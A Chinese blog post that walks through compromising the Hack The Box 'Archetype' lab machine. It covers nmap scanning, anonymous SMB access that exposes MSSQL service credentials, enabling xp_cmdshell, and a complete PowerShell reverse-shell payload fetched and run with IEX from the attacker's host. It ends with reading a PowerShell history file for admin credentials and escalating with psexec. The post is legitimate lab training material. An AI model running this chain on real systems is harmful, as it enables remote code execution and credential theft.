Hackbox初探
Hackbox初探
简介
hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。
关于hackbox注册账号,这里就不赘述了,详情参考百度
信息探测
Nmap扫描目标ip
nmap -sC -sV -T4 10.10.10.27 |
观察发现,目前开启了1433、445,开启了SQLserver和smb共享服务
思路:目标开启了smb服务,尝试是否可匿名访问
利用smbclient工具进行尝试访问
smbclient -N -L \\\\10.10.10.27\\ |
观察发现有个backup,很可疑,利用工具smbclient看看
smbclient -N \\\\10.10.10.27\\backups |
有一个dtsConfig文件,它是与SSIS一起使用的配置文件。
相关SSIS介绍可参考下面链接
下载dtsConfig文件
观察有个sql链接,还有个本地windows用户凭据ARCHETYPE\sql_svc
深入利用
使用Impacket工具包 中mssqlclient.py 结合上一步得到的凭据连接到SQL Server 。
mssqlclient.py ARCHETYPE/[email protected] -windows-auth |
查看当前用户是否是最高权限
select is_srvrolemember('sysadmin') |
Nice!sysadmin权限
开启xp_cmdshell
--打开xp_cmdshell |
尝试执行命令
反弹shell
尝试利用powershell反弹shell,构造Payload如下,保存ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.138",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
利用python建立http服务
python3 -m http.server 80 |
开启终端监听反弹端口
nc -lvvp 1234 |
利用xp_cmdshell远程加载Powershell,Payload如下
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.138/1.ps1\");" |
翻垃圾找到user.txt
提权
由于该账户既是服务账户也是本地普通账户,因此得检查历史命令
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
观察得知,在做backup共享时使用本地管理员进行映射
利用Impacket工具包中的psexec.py提权
psexec.py [email protected] |
桌面翻到垃圾
游戏结束
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 夜莺!